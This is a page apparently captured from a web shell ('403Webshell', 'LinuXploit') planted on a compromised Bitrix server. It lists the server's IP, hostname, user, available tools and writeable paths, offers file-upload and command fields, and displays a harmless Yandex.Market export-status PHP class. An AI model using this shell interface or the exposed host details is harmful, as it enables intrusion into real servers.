403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/yandex.market/lib/ui/checker/export/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/yandex.market/lib/ui/checker/export/entitystatus.php
<?php
namespace Yandex\Market\Ui\Checker\Export;

use Bitrix\Main;
use Yandex\Market;
use Yandex\Market\Ui\Checker;
use Yandex\Market\Export\Run as ExportRun;

abstract class EntityStatus extends Checker\Reference\AbstractTest
{
	protected static function includeMessages()
	{
		Main\Localization\Loc::loadMessages(__FILE__);
	}

	public function test()
	{
		$result = new Market\Result\Base();
		$models = $this->models();
		$modelIds = array_map(static function(ExportRun\Data\EntityExportable $entity) { return $entity->getId(); }, $models);
		$entityType = $this->entityType();

		ExportRun\Data\EntityStatus::preload($entityType, $modelIds);

		foreach ($models as $model)
		{
			$modelState = ExportRun\Data\EntityStatus::modelState($model);
			$exportState = ExportRun\Data\EntityStatus::exportState($entityType, $model->getId());

			if ($modelState === ExportRun\Data\EntityStatus::STATE_READY)
			{
				if ($exportState === ExportRun\Data\EntityStatus::EXPORT_FAIL)
				{
					$resolver = $this->makeLogResolve($model);
					$error = $this->makeError($model, 'EXPORT_' . $exportState, $resolver);

					$result->addWarning($error);
				}
				else if ($exportState === ExportRun\Data\EntityStatus::EXPORT_WAIT)
				{
					$resolver = $this->makeExportResolve($model);
					$error = $this->makeError($model, 'EXPORT_' . $exportState, $resolver);

					$result->addError($error);
				}
			}
			else if (
				$exportState === ExportRun\Data\EntityStatus::EXPORT_PARTIALLY
				|| $exportState === ExportRun\Data\EntityStatus::EXPORT_READY
			)
			{
				$resolver = $this->makeDeleteResolve($model);
				$error = $this->makeError($model, 'MODEL_' . $modelState, $resolver);

				$result->addError($error);
			}
		}

		return $result;
	}

	/** @return string */
	abstract protected function entityType();

	/** @return ExportRun\Data\EntityExportable[] */
	abstract protected function models();

	protected function makeLogResolve(ExportRun\Data\EntityExportable $model)
	{
		$url = Market\Ui\Admin\Path::getModuleUrl('log', [
			'lang' => LANGUAGE_ID,
			'find_' . $this->entityType() . '_id' => $model->getId(),
			'set_filter' => 'Y',
			'apply_filter' => 'Y',
		]);

		return $this->getMessage('RESOLVE_LOG', [ '#URL#' => $url ]);
	}

	protected function makeExportResolve(ExportRun\Data\EntityExportable $model)
	{
		$url = Market\Ui\Admin\Path::getModuleUrl($this->entityType() . '_run', [
			'lang' => LANGUAGE_ID,
			'id' => $model->getId(),
		]);

		return $this->getMessage('RESOLVE_EXPORT', [ '#URL#' => $url ]);
	}

	protected function makeDeleteResolve(ExportRun\Data\EntityExportable $model)
	{
		$url = Market\Ui\Admin\Path::getModuleUrl($this->entityType() . '_run', [
			'lang' => LANGUAGE_ID,
			'id' => $model->getId(),
		]);

		return $this->getMessage('RESOLVE_DELETE', [ '#URL#' => $url ]);
	}

	protected function makeError(ExportRun\Data\EntityExportable $model, $status, $resolver = '')
	{
		$statusMessage = $this->getStatusMessage($model, $status);
		$message = sprintf(
			'[%s] %s: %s',
			$model->getId(),
			$model->getName(),
			Market\Data\TextString::lcfirst($statusMessage)
		);
		$code = $status . '_' . $model->getId();

		if ((string)$resolver !== '')
		{
			$message .= $resolver;
		}

		return new Market\Error\Base($message, $code);
	}

	protected function getStatusMessage(ExportRun\Data\EntityExportable $model, $status)
	{
		$replaces = [
			'#NEXT_DATE#' => $model->getNextActiveDate(),
		];

		return $this->getMessage('STATE_' . $status, $replaces, $status);
	}

	protected function getLangPrefix()
	{
		return 'CHECKER_TEST_EXPORT_ENTITY_STATUS';
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit